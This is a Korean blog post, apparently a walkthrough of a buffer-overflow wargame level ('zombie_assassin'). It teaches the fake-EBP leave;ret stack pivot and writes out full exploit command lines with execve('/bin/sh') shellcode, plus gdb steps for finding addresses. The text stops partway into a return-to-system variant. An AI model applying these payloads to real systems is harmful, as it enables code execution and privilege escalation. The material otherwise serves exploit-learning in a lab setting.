&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dznMnA/btsE7sPISci/1xm8vNYDw4pZRWZ0d1q7QK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dznMnA/btsE7sPISci/1xm8vNYDw4pZRWZ0d1q7QK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dznMnA/btsE7sPISci/1xm8vNYDw4pZRWZ0d1q7QK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdznMnA%2FbtsE7sPISci%2F1xm8vNYDw4pZRWZ0d1q7QK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1073&quot; height=&quot;427&quot; data-origin-width=&quot;1073&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 다음 leave 명령의 pop ebp로 인해 esp는 RET 부분을 가리키게 되고, ebp에는 SFP에 있던 값 0xbffffc7c가 들어가게 됨으로써 ebp는 0xbffffc7c 주소를 가리키게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;현재 RET 부분에는 leave; ret 코드 가젯의 주소가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;쉽게 말해 leave; ret 명령이 있는 코드 영역의 주소가 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdiBFs/btsE3psZpqm/GogGVwCcyih7sMLFKww8w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdiBFs/btsE3psZpqm/GogGVwCcyih7sMLFKww8w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdiBFs/btsE3psZpqm/GogGVwCcyih7sMLFKww8w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdiBFs%2FbtsE3psZpqm%2FGogGVwCcyih7sMLFKww8w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1048&quot; height=&quot;427&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 main 함수의 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 argc 부분을 가리키게 되고, eip 레지스터에는 RET 부분에 있던 값이 담기는데, RET 부분에는 leave; ret 코드 가젯의 주소가 있었기 때문에 eip 레지스터에는 leave; ret 코드 가젯의 주소가 담긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 ret 명령의 jmp eip로 인해 leave; ret 코드 가젯의 주소로 실행 흐름이 바뀐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;977&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UaVCT/btsE1BAqmDt/zZatMKCYrw2bXtIqWJKwM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UaVCT/btsE1BAqmDt/zZatMKCYrw2bXtIqWJKwM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UaVCT/btsE1BAqmDt/zZatMKCYrw2bXtIqWJKwM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUaVCT%2FbtsE1BAqmDt%2FzZatMKCYrw2bXtIqWJKwM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;977&quot; height=&quot;427&quot; data-origin-width=&quot;977&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실행 흐름이 leave; ret 코드 가젯의 주소로 바뀌었기 때문에 leave 명령과 ret 명령이 다시 수행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;leave 명령의 mov esp, ebp로 인해 esp의 위치가 ebp와 동일하게 바뀐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RbV9G/btsE7n8I3lm/i2rPbeRhPCtfJbKCkb4uW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RbV9G/btsE7n8I3lm/i2rPbeRhPCtfJbKCkb4uW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RbV9G/btsE7n8I3lm/i2rPbeRhPCtfJbKCkb4uW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRbV9G%2FbtsE7n8I3lm%2Fi2rPbeRhPCtfJbKCkb4uW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;427&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 다음 leave 명령의 pop ebp에 의해 0xbffffc7c 주소에 있던 dummy값이 ebp에 담김으로써 ebp는 dummy 값에 해당하는 주소를 가리키게 되고, esp는 buffer[40]의 시작 주소를 가리키게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;FPO 기법을 이해한 상태라면 SFP 부분에 덮어쓰는 값이 buffer[40]의 주소가 아닌 buffer[40]의 주소에서 4를 뺀 0xbffffc7c 주소여야 한다는 것이 이해될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;간단히 설명하자면, 바로 leave 명령의 pop ebp에 의해 esp가 조작되는데 이 부분 때문에 buffer[40]의 주소에서 4를 뺀 주소로 덮어쓰는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;buffer[40]의 주소에서 4를 뺀 주소로 덮어써야 leave 명령의 pop ebp가 수행됐을 때 esp가 buffer[40]의 시작 위치를 가리키도록 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;427&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcZkja/btsE7uz2eyN/NLSFnFaVjjEkPXBmhfWCj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcZkja/btsE7uz2eyN/NLSFnFaVjjEkPXBmhfWCj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcZkja/btsE7uz2eyN/NLSFnFaVjjEkPXBmhfWCj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcZkja%2FbtsE7uz2eyN%2FNLSFnFaVjjEkPXBmhfWCj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;982&quot; height=&quot;427&quot; data-origin-width=&quot;982&quot; data-origin-height=&quot;427&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 ret 명령이 실행되는데 ret 명령의 pop eip에 의해 esp는 0xbffffc84 주소를 가리키게 되고, buffer[40]의 시작 주소에서부터 4byte만큼에 해당하는 값을 가져와 eip를 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 ret 명령의 jmp eip에 의해 eip 레지스터에 담긴 값에 해당하는 위치로 실행 흐름이 바뀌어 해당 위치에 있는 명령을 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이때 eip에 담는 값이 shellcode가 있는 공간의 주소라면 실행 흐름이 shellcode 가 있는 공간의 주소로 바뀌어 shellcode를 실행하게 될 것이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VTh0i/btsE8Br8KcL/lJjp37ntPXDO1poBXrYFK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VTh0i/btsE8Br8KcL/lJjp37ntPXDO1poBXrYFK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VTh0i/btsE8Br8KcL/lJjp37ntPXDO1poBXrYFK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVTh0i%2FbtsE8Br8KcL%2FlJjp37ntPXDO1poBXrYFK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;431&quot; height=&quot;126&quot; data-origin-width=&quot;431&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 40byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1708398066722&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[shellcode의 주소] * 40 + [buffer[40]-4의 주소] + [leave; ret 코드 가젯의 주소]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fake ebp 기법을 적용하여 payload를 구성하면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 shellcode 주소는 argv[2]에 shellcode를 넣고 argv[2]의 주소를 사용할 것인데, argv[2]의 주소와 buffer[40]-4의 주소를 얻기 위해 core 파일을 분석할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 leave; ret 코드 가젯의 주소는 gdb를 이용해 알아낼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고) 굳이 argv[2]를 이용할 필요 없이 환경 변수를 이용해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8Hhri/btsE6JxGHP5/9HED5qflmpC0zj4qRqJ621/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8Hhri/btsE6JxGHP5/9HED5qflmpC0zj4qRqJ621/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8Hhri/btsE6JxGHP5/9HED5qflmpC0zj4qRqJ621/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8Hhri%2FbtsE6JxGHP5%2F9HED5qflmpC0zj4qRqJ621%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;853&quot; height=&quot;614&quot; data-origin-width=&quot;853&quot; data-origin-height=&quot;614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708399372604&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp zombie_assassin zombie_assassin2

`python -c 'print &quot;a&quot; * 48'` `python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`

gdb -q -c core

x/80x $esp-48

x/3x 0xbffffcb4

x/s 0xbffffdeb&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 core 파일을 생성하기 위해 zombie_assassin 파일을 zonbie_assassin2 파일로 복사하고, 위와 같이 인자를 주어 실행함으로써 core 파일을 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 core 파일을 분석해보면 argv[2]의 주소는 0xbffffdeb이고, buffer[40]의 주소는 0xbffffc40이므로 buffer[40]-4의 주소는 0xbffffc3c이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;41&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjZgnf/btsEZQkDiD7/skZ4r8TulcC97dKEJbltbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjZgnf/btsEZQkDiD7/skZ4r8TulcC97dKEJbltbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjZgnf/btsEZQkDiD7/skZ4r8TulcC97dKEJbltbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjZgnf%2FbtsEZQkDiD7%2FskZ4r8TulcC97dKEJbltbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;41&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;41&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKImQP/btsE7tHUN98/SZizMP0sc90lWhjLc1zZw1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKImQP/btsE7tHUN98/SZizMP0sc90lWhjLc1zZw1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKImQP/btsE7tHUN98/SZizMP0sc90lWhjLc1zZw1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKImQP%2FbtsE7tHUN98%2FSZizMP0sc90lWhjLc1zZw1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;162&quot; data-origin-width=&quot;436&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708399630332&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gdb -q zombie_assassin

disas main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이어서 gdb로 zombie_assassin 파일을 열어 디스어셈블 해보면 leave; ret 코드 가젯의 주소는 0x80484df이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;56&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7L1ZU/btsE6Tmyvea/cuVqCEq9K5azpc6Q9w7oZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7L1ZU/btsE6Tmyvea/cuVqCEq9K5azpc6Q9w7oZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7L1ZU/btsE6Tmyvea/cuVqCEq9K5azpc6Q9w7oZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7L1ZU%2FbtsE6Tmyvea%2FcuVqCEq9K5azpc6Q9w7oZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1303&quot; height=&quot;56&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;56&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708399813512&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;`python -c 'print &quot;\xeb\xfd\xff\xbf&quot; * 10 + &quot;\x3c\xfc\xff\xbf&quot; + &quot;\xdf\x84\x04\x08&quot;'` `python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 구한 정보들로 payload를 구성한 후 zonbie_assassin에 인자로 주어 실행하면 segmentation fault가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이는 당연히 프로그램 이름 길이에 따른 스택 주소의 변화 부분을 고려 안했기 때문인데, 테스트 때는 zombie_assassin2에 했었기 때문에 argv[2]의 주소가 0xbffffdeb였지만, zombie_assassin에 인자로 줄 때는 0xbffffded로 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;프로그램 이름 길이가 1byte 길어지면 스택의 주소는 2byte씩 작아지고, 반대로 이름 길이가 1byte 짧아지면 스택의 주소는 2byte씩 커진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러므로 zombie_assassin은 zombie_assassin2보다 1byte 작기 때문에 스택 주소가 2byte 커져야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BNiFC/btsE0IsRqwc/uAWQBWst29mh2aGh1JoXF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BNiFC/btsE0IsRqwc/uAWQBWst29mh2aGh1JoXF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BNiFC/btsE0IsRqwc/uAWQBWst29mh2aGh1JoXF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBNiFC%2FbtsE0IsRqwc%2FuAWQBWst29mh2aGh1JoXF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1303&quot; height=&quot;129&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708400270708&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./zombie_assassin `python -c 'print &quot;\xed\xfd\xff\xbf&quot; * 10 + &quot;\x3c\xfc\xff\xbf&quot; + &quot;\xdf\x84\x04\x08&quot;'` `python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;수정된 payload로 공격하면 zombie_assassin의 password인 no place to hide를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;쉘 코드 없이 system 함수를 이용해 공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1708401261901&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[system() 함수의 주소] + [system() 함수의 RET 부분] + [&quot;/bin/sh&quot; 문자열의 주소] + [남은 buffer[40]의 공간] + [buffer[40]-4의 주소] + [leave; ret 가젯의 주소]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;쉘 코드 없이 system() 함수가 실행되도록 실행 흐름을 바꿔 공격할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload 구성은 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uf9lc/btsE1FiEkpV/wRf3xNAdoNcf1z7uEutni1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uf9lc/btsE1FiEkpV/wRf3xNAdoNcf1z7uEutni1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uf9lc/btsE1FiEkpV/wRf3xNAdoNcf1z7uEutni1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuf9lc%2FbtsE1FiEkpV%2FwRf3xNAdoNcf1z7uEutni1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;746&quot; height=&quot;344&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708401704377&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp zombie_assassin zombie_assassin2

./zombie_assassin2 `python -c 'print &quot;a&quot; * 48'`

gdb -q -c core

x/40x $esp-48&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저, buffer[40] - 4의 주소를 구하기 위해 core 파일을 생성한 후 core 파일을 분석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;buffer[40]-4의 주소는 0xbffffc4c이다.&lt;/p&gt;
